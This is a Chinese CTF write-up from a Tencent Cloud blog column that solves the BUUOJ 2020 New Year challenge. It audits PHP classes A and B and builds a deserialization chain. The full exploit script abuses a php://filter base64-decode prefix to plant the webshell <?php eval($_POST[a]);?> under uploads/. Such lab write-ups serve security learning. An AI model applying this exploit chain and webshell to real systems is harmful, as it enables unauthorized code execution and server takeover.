首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >buuoj[2020新春红包题解]

buuoj[2020新春红包题解]

作者头像
KevinBruce
发布于 2020-04-24 10:40:18
发布于 2020-04-24 10:40:18
80200
代码可运行
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习
运行总次数:0
代码可运行

0x01 解题思路

根据提示加上src=1参数会显示PHP源码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
error_reporting(0);

class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }
    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }
}
if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

很明显是一道构造反序列化来得到flag的题。

源码中一共有两个类,这里想利用反序列化只能考虑借助wakeup、destruct方法,正好A中有一个destruct,那就从A入手进行审计。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
 }

如果autosave为false,save方法会被触发,save方法可能触发反序列化。因此A类中autosave必须为假。接下来看save方法如何触发反序列化。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);
        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }
        return $contents;
    }
    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);
        return json_encode([$cleaned, $this->complete]);
    }
    public function save() {
        $contents = $this->getForStorage();
        $this->store->set($this->key, $contents, $this->expire);
    }

save中调用了getForStorage方法,该方法返回json数据。getForStorage方法调用了cleanContents方法,该方法用于求所给contents中与path、dirname、basename所在数组的交集。也就是说contents中只能包含path、dirname等key值。

小结一下就是save方法用来将传递的contents经过筛选之后得到一段json值,并将该值交给了store属性的set方法处理。

那么,contents是否可以被用户控制,set方法能否执行命令或读写文件呢?

重新阅读上述代码,contents变量值来自于处理后的cache变量,cache变量是A的一个属性,因此它是可控的。对于set方法,A中并没有set方法,B中有,因此store一定是个B的对象。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            return $filename;
        }
        return null;
    }
public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

阅读以上代码,可以看到file_put_contents函数,这里被触发就有可能写入webshell。该函数用到的函数名会被getCacheKey处理一下,文件名来源于A中的key属性。该函数中被写入的值来源于data变量,data变量由A中的contents经过serialize处理得到,serialize是一个可控变量,可以自己选定函数名。serialize处理后可以进行压缩,但是这里显然是不能让他压缩,直接把options['data_compress']定义为false即可。

小结一下,A中传递过来contents和key参数给B的set方法做处理,如果能选定适当的serialize函数,构造合适的contents以及合适的文件名,那么就可以写入webshell,获取flag。

0x02 参数构造

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php 
class A {
    protected $store;
    #key作文文件名
  	protected $key;
    protected $expire;
    public function __construct()
    {
        $this->store = new B();
      	#/../用于绕过uniqid生成的随机值,后面的/.用来绕过文件名限制
        $this->key = '/../c.php/.';
      	#随意的数值,这里似乎没啥用
        $this->expire = 111;
    }
}
$a = new A();
#动态生成成员
#用于触发save方法
$a->autosave=false;
#处理之后得到contents,path是一个base64值
#<?php eval($_POST[a]);?>
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
#这个并没有什么用,只是用来添加到json中,随便设
$a->complete = '2';
?>
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
class B{
    public $options;
    public function __construct()
    {
      	#禁止压缩
        $this->options['data_compress'] = false;
      	#随意的数值
        $this->options['expire'] = 111;
      	#serialize的方法
        $this->options['serialize'] = 'strval';
      	#用来确定写入文件的地址
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
    }
}

0x03 完整的exp

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php 
class B{
    public $options;
    public function __construct()
    {
        $this->options['data_compress'] = false;
        $this->options['expire'] = 111;
        $this->options['serialize'] = 'strval';
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=uploads/';
    }
}
class A {
    protected $store;
    protected $key;
    protected $expire;
    public function __construct()
    {
        $this->store = new B();
        $this->key = '/../a.php/.';
        $this->expire = 111;
    }
}
$a = new A();
$a->autosave=false;
$a->cache = array('111'=>array("path"=>"PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+"));
$a->complete = '2';
echo urlencode(serialize($a));
?>

将data传给题目页面后在用蚁剑访问/uploads/a.php即可拿到shell,并得到flag。

0x04 总结

这个题考查了审计能力和构造payload的能力,还是有点难度的,审计花了我不少时间。最后我想好了怎么构造payload后卡在了一个点上,就是A类没有的成员怎么处理。后来才知道,PHP支持动态生成成员,PHP实在是太灵活了,但我觉得灵活与安全不好兼得。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-04-16 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
简单理解 PHP 框架可能产生的安全问题
前几天看到某大牛对 PbootCMS 的代码审计,突然明白了底层逻辑对 cms 审计的重要性
信安之路
2020/04/16
7920
ThinkPHP 6.0.1 漏洞分析(任意文件操作)
2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞.该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell.
洛米唯熊
2020/04/08
1.5K0
ThinkPHP 6.0.1 漏洞分析(任意文件操作)
萌新必备技能--PHP框架反序列化入门教程
本文面向拥有一定PHP基础的萌新选手,从反序列化的简略原理->实战分析经典tp5.0.x的漏洞->讨论下CTF做题技巧,
猿哥
2020/02/26
7970
ThinkPHP 6.0 任意文件写入
2020 年 1 月 10 日,ThinkPHP 团队发布一个补丁更新,修复了一处由不安全的 SessionId 导致的任意文件操作漏洞。
wywwzjj
2023/05/09
1.1K0
ThinkPHP 6.0 任意文件写入
php session基本原理解析
本文为仙士可原创文章,转载无需和我联系,但请注明来自仙士可博客www.php20.cn
仙士可
2019/12/19
3750
ctfshow 新春欢乐赛
https://bbs.ctf.show/thread/83 https://blog.csdn.net/Little_jcak/article/details/122819006 https://blog.csdn.net/qq_46241655/article/details/122776783
c2k2o6
2022/02/13
1.4K0
ctfshow 新春欢乐赛
hitcon2018受虐笔记三:BabyCake学习
代码审计能力真是太太差了,下载下来一看20多M,当时就有点懵,最后连题目的业务逻辑处理过程都没有理解清楚….
用户1879329
2023/02/27
1.4K0
记最近做的几道题
有关可以参考 https://wh1tecell.top/2021/11/11/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bfast-destruct/
pankas
2022/11/07
5480
记最近做的几道题
Thinkphp 6 小于 6.0.2 任意文件创建覆盖漏洞分析
6.0.0 中有两个版本存在该漏洞, dev 版本只能覆盖任意位置的文件,6.0.0-1 则可以在特定的情况下控制写入的内容实现 getshell,看到一些师傅的 blog 的文章使用 composer 下载的源码, Thinkphp6 也确实开始使用 composer 的方式进行安装但是我使用 composer 方式下载的源码无法复现,猜测进行了修复,于是在网上找一键安装包,找了半天找到一个 11 月份的版本遂复现成功.`
信安之路
2020/02/24
2.2K0
Thinkphp 6 小于 6.0.2 任意文件创建覆盖漏洞分析
ciscn2019华北赛区dropbox题解
上传页面限制了只能上传图片,这里可以通过修改content-type进行绕过,但是文件后缀还是会被改成图片后缀。
KevinBruce
2020/04/25
8320
tp6.0.13反序列化漏洞
搭建本地环境(apache+mysql+ftp),这里需要注意php版本要求7.1+
故里[TRUE]
2023/04/20
5790
tp6.0.13反序列化漏洞
浅析PHP GC垃圾回收机制及常见利用方式
上周战队知识分享时,H3018大师傅讲了PHP GC回收机制的利用,学会了如何去绕过抛出异常。H3018大师傅讲述的很清楚,大家有兴趣的可以去看一下哇,链接如下https://www.bilibili.com/video/BV16g411s7CH/这里没有怎么涉及底层原理,只是将我自己的见解简述一下,希望能对正在学习PHP反序列化的师傅有所帮助。
亿人安全
2022/12/23
8990
浅析PHP GC垃圾回收机制及常见利用方式
肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。
小羽网安
2024/07/30
5320
经验分享 | PHP-反序列化(超细的)
ps:很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的php反序列化,经常在ctf中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出pop链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些ctf题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。
F12sec
2022/09/29
2.4K0
经验分享 | PHP-反序列化(超细的)
攻防|记一次hvv中供应链拿靶标的代码审计过程
某地市级hvv,某下级单位研究院官网使用了这套cms,通过供应链拿到源码,并开始了thinkphp3.2.3审计过程。
亿人安全
2024/11/26
1010
攻防|记一次hvv中供应链拿靶标的代码审计过程
从CTF中学习PHP反序列化的各种利用方式
为了方便数据存储,php通常会将数组等数据转换为序列化形式存储,那么什么是序列化呢?序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
Ms08067安全实验室
2022/09/26
3.6K0
PHP Phar反序列化浅析
文章首发于跳跳糖社区https://tttang.com/archive/1732
用户9691112
2023/05/18
1.4K0
PHP Phar反序列化浅析
php 反序列漏洞初识
在 OWASP TOP10 中,反序列化已经榜上有名,但是究竟什么是反序列化,我觉得应该进下心来好好思考下。我觉得学习的时候,所有的问题都应该问 3 个问题:what、why、how:
信安之路
2018/08/08
1.2K0
php 反序列漏洞初识
ciscn2019华北赛区半决赛day1_web1题解
感谢buuoj的大佬们搭建的复现环境。作为一位CTF的初学者,我会把每个题目的writeup都写的尽量详细,希望能帮到后面的初学者。
KevinBruce
2020/03/12
1.1K0
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
只要 get 传参反序列化后的字符串有 ctfshow_i_love_36D 就可以
全栈程序员站长
2022/09/14
2.1K0
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
推荐阅读
相关推荐
简单理解 PHP 框架可能产生的安全问题
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档